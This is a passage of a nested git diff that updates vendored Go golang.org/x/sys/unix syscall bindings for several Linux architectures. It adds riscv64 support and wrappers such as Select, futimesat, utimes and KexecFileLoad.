-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -48,6 +67,11 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ return ENOSYS
-+}
-+
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -66,23 +90,26 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func futimesat(dirfd int, path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(dirfd, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
- }
-
- func Time(t *Time_t) (Time_t, error) {
-@@ -105,6 +132,18 @@ func Utime(path string, buf *Utimbuf) error {
- return Utimes(path, tv)
- }
-
-+func utimes(path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(AT_FDCWD, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+}
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
-@@ -141,6 +180,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -153,30 +196,11 @@ func Dup2(oldfd int, newfd int) (err error) {
- return Dup3(oldfd, newfd, 0)
- }
-
--func Pause() (err error) {
-- _, _, e1 := Syscall6(SYS_PPOLL, 0, 0, 0, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
-+func Pause() error {
-+ _, err := ppoll(nil, 0, nil, nil)
-+ return err
- }
-
--// TODO(dfc): constants that should be in zsysnum_linux_arm64.go, remove
--// these when the deprecated syscalls that the syscall package relies on
--// are removed.
--const (
-- SYS_GETPGRP = 1060
-- SYS_UTIMES = 1037
-- SYS_FUTIMESAT = 1066
-- SYS_PAUSE = 1061
-- SYS_USTAT = 1070
-- SYS_UTIME = 1063
-- SYS_LCHOWN = 1032
-- SYS_TIME = 1062
-- SYS_EPOLL_CREATE = 1042
-- SYS_EPOLL_WAIT = 1069
--)
--
- func Poll(fds []PollFd, timeout int) (n int, err error) {
- var ts *Timespec
- if timeout >= 0 {
-@@ -188,3 +212,16 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return ppoll(&fds[0], len(fds), ts, nil)
- }
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gc.go b/vendor/golang.org/x/sys/unix/syscall_linux_gc.go
-new file mode 100644
-index 00000000..c26e6ec2
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gc.go
-@@ -0,0 +1,14 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,!gccgo
-+
-+package unix
-+
-+// SyscallNoError may be used instead of Syscall for syscalls that don't fail.
-+func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
-+
-+// RawSyscallNoError may be used instead of RawSyscall for syscalls that don't
-+// fail.
-+func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go b/vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go
-new file mode 100644
-index 00000000..070bd389
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go
-@@ -0,0 +1,16 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,!gccgo,386
-+
-+package unix
-+
-+import "syscall"
-+
-+// Underlying system call writes to newoffset via pointer.
-+// Implemented in assembly to avoid allocation.
-+func seek(fd int, offset int64, whence int) (newoffset int64, err syscall.Errno)
-+
-+func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
-+func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go
-new file mode 100644
-index 00000000..308eb7ae
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go
-@@ -0,0 +1,30 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,gccgo,386
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+func seek(fd int, offset int64, whence int) (int64, syscall.Errno) {
-+ var newoffset int64
-+ offsetLow := uint32(offset & 0xffffffff)
-+ offsetHigh := uint32((offset >> 32) & 0xffffffff)
-+ _, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0)
-+ return newoffset, err
-+}
-+
-+func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) {
-+ fd, _, err := Syscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0)
-+ return int(fd), err
-+}
-+
-+func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) {
-+ fd, _, err := RawSyscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0)
-+ return int(fd), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go
-new file mode 100644
-index 00000000..aa7fc9e1
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go
-@@ -0,0 +1,20 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,gccgo,arm
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+func seek(fd int, offset int64, whence int) (int64, syscall.Errno) {
-+ var newoffset int64
-+ offsetLow := uint32(offset & 0xffffffff)
-+ offsetHigh := uint32((offset >> 32) & 0xffffffff)
-+ _, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0)
-+ return newoffset, err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go
-index 73318e5c..af77e6e2 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go
-@@ -8,7 +8,9 @@
- package unix
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
-@@ -22,11 +24,20 @@ package unix
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS_PSELECT6
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -37,6 +48,7 @@ package unix
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -55,8 +67,7 @@ package unix
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
- func Time(t *Time_t) (tt Time_t, err error) {
-@@ -72,20 +83,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func Pipe(p []int) (err error) {
-@@ -143,6 +148,7 @@ type stat_t struct {
- }
-
- //sys fstat(fd int, st *stat_t) (err error)
-+//sys fstatat(dirfd int, path string, st *stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys lstat(path string, st *stat_t) (err error)
- //sys stat(path string, st *stat_t) (err error)
-
-@@ -153,6 +159,13 @@ func Fstat(fd int, s *Stat_t) (err error) {
- return
- }
-
-+func Fstatat(dirfd int, path string, s *Stat_t, flags int) (err error) {
-+ st := &stat_t{}
-+ err = fstatat(dirfd, path, st, flags)
-+ fillStat_t(s, st)
-+ return
-+}
-+
- func Lstat(path string, s *Stat_t) (err error) {
- st := &stat_t{}
- err = lstat(path, st)
-@@ -195,10 +208,18 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-
-+func InotifyInit() (fd int, err error) {
-+ return InotifyInit1(0)
-+}
-+
- //sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-
- func Poll(fds []PollFd, timeout int) (n int, err error) {
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go b/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go
-index b83d93fd..e286c6ba 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go
-@@ -15,6 +15,9 @@ import (
- func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Ftruncate(fd int, length int64) (err error) = SYS_FTRUNCATE64
- //sysnb Getegid() (egid int)
-@@ -25,20 +28,20 @@ func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- //sys Listen(s int, n int) (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
--
- //sysnb Setreuid(ruid int, euid int) (err error)
- //sys Shutdown(fd int, how int) (err error)
--//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
--
-+//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error) = SYS_TRUNCATE64
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -60,15 +63,17 @@ func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- //sys Ioperm(from int, num int, on int) (err error)
- //sys Iopl(level int) (err error)
-
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
- //sysnb Time(t *Time_t) (tt Time_t, err error)
-+//sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
- //sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
- //sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-
--//sys Utime(path string, buf *Utimbuf) (err error)
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Pause() (err error)
-
- func Fstatfs(fd int, buf *Statfs_t) (err error) {
-@@ -99,19 +104,12 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
- return
- }
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = int32(nsec / 1e9)
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb pipe2(p *[2]_C_int, flags int) (err error)
-@@ -127,14 +125,13 @@ func Pipe2(p []int, flags int) (err error) {
- return
- }
-
-+//sysnb pipe() (p1 int, p2 int, err error)
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
- }
-- var pp [2]_C_int
-- err = pipe2(&pp, 0)
-- p[0] = int(pp[0])
-- p[1] = int(pp[1])
-+ p[0], p[1], err = pipe()
- return
- }
-
-@@ -223,6 +220,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -235,5 +236,3 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
--
--func Getpagesize() int { return 4096 }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go b/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go
-index 60770f62..ca0345aa 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go
-@@ -7,10 +7,13 @@
-
- package unix
-
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -27,11 +30,12 @@ package unix
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -41,8 +45,8 @@ package unix
- //sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
- //sys Stat(path string, stat *Stat_t) (err error)
- //sys Statfs(path string, buf *Statfs_t) (err error)
--//sys SyncFileRange(fd int, off int64, n int64, flags int) (err error) = SYS_SYNC_FILE_RANGE2
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -61,26 +65,18 @@ package unix
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
- //sysnb Time(t *Time_t) (tt Time_t, err error)
--
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func (r *PtraceRegs) PC() uint64 { return r.Nip }
-@@ -95,6 +91,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -133,3 +133,24 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys syncFileRange2(fd int, flags int, off int64, n int64) (err error) = SYS_SYNC_FILE_RANGE2
-+
-+func SyncFileRange(fd int, off int64, n int64, flags int) error {
-+ // The sync_file_range and sync_file_range2 syscalls differ only in the
-+ // order of their arguments.
-+ return syncFileRange2(fd, flags, off, n)
-+}
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go
-similarity index 68%
-copy from vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-copy to vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go
-index 4a136396..abdabbac 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go
-@@ -1,12 +1,22 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build arm64,linux
-+// +build riscv64,linux
-
- package unix
-
-+import "unsafe"
-+
-+func EpollCreate(size int) (fd int, err error) {
-+ if size <= 0 {
-+ return -1, EINVAL
-+ }
-+ return EpollCreate1(0)
-+}
-+
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) = SYS_EPOLL_PWAIT
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
- //sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-@@ -21,10 +31,18 @@ package unix
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS_PSELECT6
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -48,6 +66,11 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ return ENOSYS
-+}
-+
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -66,23 +89,26 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func futimesat(dirfd int, path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(dirfd, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
- }
-
- func Time(t *Time_t) (Time_t, error) {
-@@ -105,6 +131,18 @@ func Utime(path string, buf *Utimbuf) error {
- return Utimes(path, tv)
- }
-
-+func utimes(path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
